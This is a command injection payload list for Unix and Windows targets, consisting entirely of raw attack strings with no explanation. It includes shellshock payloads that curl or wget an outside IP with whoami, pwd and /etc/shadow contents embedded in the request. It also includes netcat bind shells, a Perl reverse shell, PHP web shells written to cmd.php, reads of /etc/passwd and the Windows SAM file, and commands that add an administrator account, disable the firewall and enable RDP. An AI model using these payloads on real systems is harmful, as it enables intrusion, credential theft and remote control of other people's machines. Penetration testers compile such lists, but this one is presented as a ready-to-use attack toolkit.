Command Injection Payload List

Unix :

```
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
```

```
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoa
mi\`"
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`
"
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`gr
ep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`una
me -a\`"
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc
-lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc
-lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl
http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl
http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl
```

```
http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl
http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl
http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoa
mi\`"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`
"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`gr
ep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`una
me -a\`"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc
-lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc
-lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget
http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
```

Windows:

```
`
||
|
;
'
'"
"
"'
&
&&
%0a
%0a%0d%0Aid
%0a id %0a
%0Aid%0A
%0a ping -i 30 127.0.0.1 %0a
%0A/usr/bin/id
%0A/usr/bin/id%0A
%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21
127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
%20{${phpinfo()}}
%20{${sleep(20)}}
%20{${sleep(3)}}
a|id|
a;id|
a;id;
a;id\n
() { :;}; curl
http://135.23.158.130/.testing/shellshock.txt?vuln=12
| curl http://crowdshield.com/.testing/rce.txt
& curl http://crowdshield.com/.testing/rce.txt
; curl https://crowdshield.com/.testing/rce_vuln.txt
&& curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl
https://crowdshield.com/.testing/rce_vuln.txt` #' |curl
https://crowdshield.com/.testing/rce_vuln.txt||`curl
https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl
https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl
https://crowdshield.com/.testing/rce_vuln.txt` #' |curl
https://crowdshield.com/.testing/rce_vuln.txt||`curl
https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl
https://crowdshield.com/.testing/rce_vuln.txt
$(`curl
https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
dir
| dir
; dir
$(`dir`)
& dir
&&dir
&& dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
```

```
dir C:\Documents and Settings\*
| dir C:\Users
; dir C:\Users
& dir C:\Users
&& dir C:\Users
dir C:\Users
;echo%20'<script>alert(1)</script>'
echo '<img src=https://crowdshield.com/.testing/xss.js
onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
| echo "<?php include($_GET['page'])| ?>" > rfi.php
; echo "<?php include($_GET['page']); ?>" > rfi.php
& echo "<?php include($_GET['page']); ?>" > rfi.php
&& echo "<?php include($_GET['page']); ?>" > rfi.php
echo "<?php include($_GET['page']); ?>" > rfi.php
| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php
; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
| echo "<?php system($_GET['cmd'])| ?>" > cmd.php
; echo "<?php system($_GET['cmd']); ?>" > cmd.php
& echo "<?php system($_GET['cmd']); ?>" > cmd.php
&& echo "<?php system($_GET['cmd']); ?>" > cmd.php
echo "<?php system($_GET['cmd']); ?>" > cmd.php
;echo '<script>alert(1)</script>'
echo '<script>alert(1)</script>'// XXXXXXXXXXX
echo '<script
src=https://crowdshield.com/.testing/xss.js></script>'//
XXXXXXXXXXX
| echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/b
in/sh -i");};" > rev.pl
; echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/b
in/sh -i");};" > rev.pl
& echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};" > rev.pl
&& echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};" > rev.pl
echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};" > rev.pl
() { :;}; echo vulnerable 10
eval('echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXX')
eval('ls')
eval('pwd')
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
exec('echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```

```
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXX')
exec('ls')
exec('pwd')
exec('pwd');
exec('sleep 5')
exec('sleep 5');
exec('whoami')
exec('whoami');
;{$_GET["cmd"]}
`id`
|id
| id
;id
;id|
;id;
& id
&&id
;id\n
ifconfig
| ifconfig
; ifconfig
& ifconfig
&& ifconfig
/index.html|id|
ipconfig
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
ls
$(`ls`)
| ls -l /
; ls -l /
& ls -l /
&& ls -l /
ls -l /
| ls -laR /etc
; ls -laR /etc
& ls -laR /etc
&& ls -laR /etc
| ls -laR /var/www
```

```
; ls -laR /var/www
& ls -laR /var/www
&& ls -laR /var/www
| ls -l /etc/
; ls -l /etc/
& ls -l /etc/
&& ls -l /etc/
ls -l /etc/
ls -lh /etc/
| ls -l /home/*
; ls -l /home/*
& ls -l /home/*
&& ls -l /home/*
ls -l /home/*
*; ls -lhtR /var/www/
| ls -l /tmp
; ls -l /tmp
& ls -l /tmp
&& ls -l /tmp
ls -l /tmp
| ls -l /var/www/*
; ls -l /var/www/*
& ls -l /var/www/*
&& ls -l /var/www/*
ls -l /var/www/*
\n
\n\033[2curl
http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoa
mi\`
\n\033[2wget
http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoa
mi\`
\n/bin/ls -al\n
| nc -lvvp 4444 -e /bin/sh|
; nc -lvvp 4444 -e /bin/sh;
& nc -lvvp 4444 -e /bin/sh&
&& nc -lvvp 4444 -e /bin/sh &
nc -lvvp 4444 -e /bin/sh
nc -lvvp 4445 -e /bin/sh &
nc -lvvp 4446 -e /bin/sh|
nc -lvvp 4447 -e /bin/sh;
nc -lvvp 4448 -e /bin/sh&
\necho INJECTX\nexit\n\033[2Acurl
https://crowdshield.com/.testing/rce_vuln.txt\n
\necho INJECTX\nexit\n\033[2Asleep 5\n
\necho INJECTX\nexit\n\033[2Awget
https://crowdshield.com/.testing/rce_vuln.txt\n
| net localgroup Administrators hacker /ADD
; net localgroup Administrators hacker /ADD
& net localgroup Administrators hacker /ADD
&& net localgroup Administrators hacker /ADD
```

```
net localgroup Administrators hacker /ADD
| netsh firewall set opmode disable
; netsh firewall set opmode disable
& netsh firewall set opmode disable
&& netsh firewall set opmode disable
netsh firewall set opmode disable
netstat
;netstat -a;
| netstat -an
; netstat -an
& netstat -an
&& netstat -an
netstat -an
| net user hacker Password1 /ADD
; net user hacker Password1 /ADD
& net user hacker Password1 /ADD
&& net user hacker Password1 /ADD
net user hacker Password1 /ADD
| net view
; net view
& net view
&& net view
net view
\nid|
\nid;
\nid\n
\n/usr/bin/id\n
perl -e 'print "X"x1024'
|| perl -e 'print "X"x16096'
| perl -e 'print "X"x16096'
; perl -e 'print "X"x16096'
& perl -e 'print "X"x16096'
&& perl -e 'print "X"x16096'
perl -e 'print "X"x16384'
; perl -e 'print "X"x2048'
& perl -e 'print "X"x2048'
&& perl -e 'print "X"x2048'
perl -e 'print "X"x2048'
|| perl -e 'print "X"x4096'
| perl -e 'print "X"x4096'
; perl -e 'print "X"x4096'
& perl -e 'print "X"x4096'
&& perl -e 'print "X"x4096'
perl -e 'print "X"x4096'
|| perl -e 'print "X"x8096'
| perl -e 'print "X"x8096'
; perl -e 'print "X"x8096'
&& perl -e 'print "X"x8096'
perl -e 'print "X"x8192'
perl -e 'print "X"x81920'
|| phpinfo()
```

```
| phpinfo()
 {${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
<?php system("curl
https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_ge
t");?>
<?php system("curl
https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj");?>
<?php system("echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXX");?>
<?php system("sleep 10");?>
<?php system("sleep 5");?>
<?php system("wget
https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_ge
t");?>
<?php system("wget
https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
:phpversion();
`ping 127.0.0.1`
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
```

```
;${@print(md5(RCEVulnerable))};
${@print("RCEVulnerable")}
${@print(system($_SERVER['HTTP_USER_AGENT']))}
pwd
| pwd
; pwd
& pwd
&& pwd
\r
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
/v fDenyTSConnections /t REG_DWORD /d 0 /f
; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
/v fDenyTSConnections /t REG_DWORD /d 0 /f
& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
/v fDenyTSConnections /t REG_DWORD /d 0 /f
&& reg add "HKLM\System\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
/v fDenyTSConnections /t REG_DWORD /d 0 /f
\r\n
route
| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15
&& sleep 15
 {${sleep(20)}}
{${sleep(20)}}
 {${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
 {${sleep(hexdec(dechex(20)))}}
{${sleep(hexdec(dechex(20)))}}
sysinfo
| sysinfo
```

```
; sysinfo
& sysinfo
&& sysinfo
system('cat C:\boot.ini');
system('cat config.php');
|| system('curl https://crowdshield.com/.testing/rce_vuln.txt');
| system('curl https://crowdshield.com/.testing/rce_vuln.txt');
; system('curl https://crowdshield.com/.testing/rce_vuln.txt');
& system('curl https://crowdshield.com/.testing/rce_vuln.txt');
&& system('curl https://crowdshield.com/.testing/rce_vuln.txt');
system('curl https://crowdshield.com/.testing/rce_vuln.txt')
system('curl
https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')
system('curl https://xerosecurity.com/.testing/rce_vuln.txt');
system('echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXX')
systeminfo
| systeminfo
; systeminfo
& systeminfo
&& systeminfo
system('ls')
system('pwd')
system('pwd');
|| system('sleep 5');
| system('sleep 5');
; system('sleep 5');
& system('sleep 5');
```

```
&& system('sleep 5');
system('sleep 5')
system('sleep 5');
system('wget
https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')
system('wget https://xerosecurity.com/.testing/rce_vuln.txt');
system('whoami')
system('whoami');
test*; ls -lhtR /var/www/
test* || perl -e 'print "X"x16096'
test* | perl -e 'print "X"x16096'
test* & perl -e 'print "X"x16096'
test* && perl -e 'print "X"x16096'
test*; perl -e 'print "X"x16096'
$(`type C:\boot.ini`)
&&type C:\\boot.ini
| type C:\Windows\repair\SAM
; type C:\Windows\repair\SAM
& type C:\Windows\repair\SAM
&& type C:\Windows\repair\SAM
type C:\Windows\repair\SAM
| type C:\Windows\repair\SYSTEM
; type C:\Windows\repair\SYSTEM
& type C:\Windows\repair\SYSTEM
&& type C:\Windows\repair\SYSTEM
type C:\Windows\repair\SYSTEM
| type C:\WINNT\repair\SAM
; type C:\WINNT\repair\SAM
& type C:\WINNT\repair\SAM
&& type C:\WINNT\repair\SAM
type C:\WINNT\repair\SAM
type C:\WINNT\repair\SYSTEM
| type %SYSTEMROOT%\repair\SAM
; type %SYSTEMROOT%\repair\SAM
& type %SYSTEMROOT%\repair\SAM
&& type %SYSTEMROOT%\repair\SAM
type %SYSTEMROOT%\repair\SAM
| type %SYSTEMROOT%\repair\SYSTEM
; type %SYSTEMROOT%\repair\SYSTEM
& type %SYSTEMROOT%\repair\SYSTEM
&& type %SYSTEMROOT%\repair\SYSTEM
type %SYSTEMROOT%\repair\SYSTEM
uname
;uname;
| uname -a
; uname -a
& uname -a
&& uname -a
uname -a
|/usr/bin/id
;|/usr/bin/id|
;/usr/bin/id|
$;/usr/bin/id
() { :;};/usr/bin/perl -e 'print \"Content-Type:
text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget
http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl
http://135.23.158.130/.testing/shellshock.txt?vuln=15;\");'
() { :;}; wget
http://135.23.158.130/.testing/shellshock.txt?vuln=11
| wget http://crowdshield.com/.testing/rce.txt
& wget http://crowdshield.com/.testing/rce.txt
; wget https://crowdshield.com/.testing/rce_vuln.txt
$(`wget https://crowdshield.com/.testing/rce_vuln.txt`)
&& wget https://crowdshield.com/.testing/rce_vuln.txt
